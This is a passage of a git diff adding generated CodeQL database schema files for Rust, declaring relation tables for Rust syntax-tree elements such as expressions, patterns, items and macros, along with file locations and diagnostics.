+); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme new file mode 100644 index 000000000000..e8707b675dc5 --- /dev/null +++ b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int 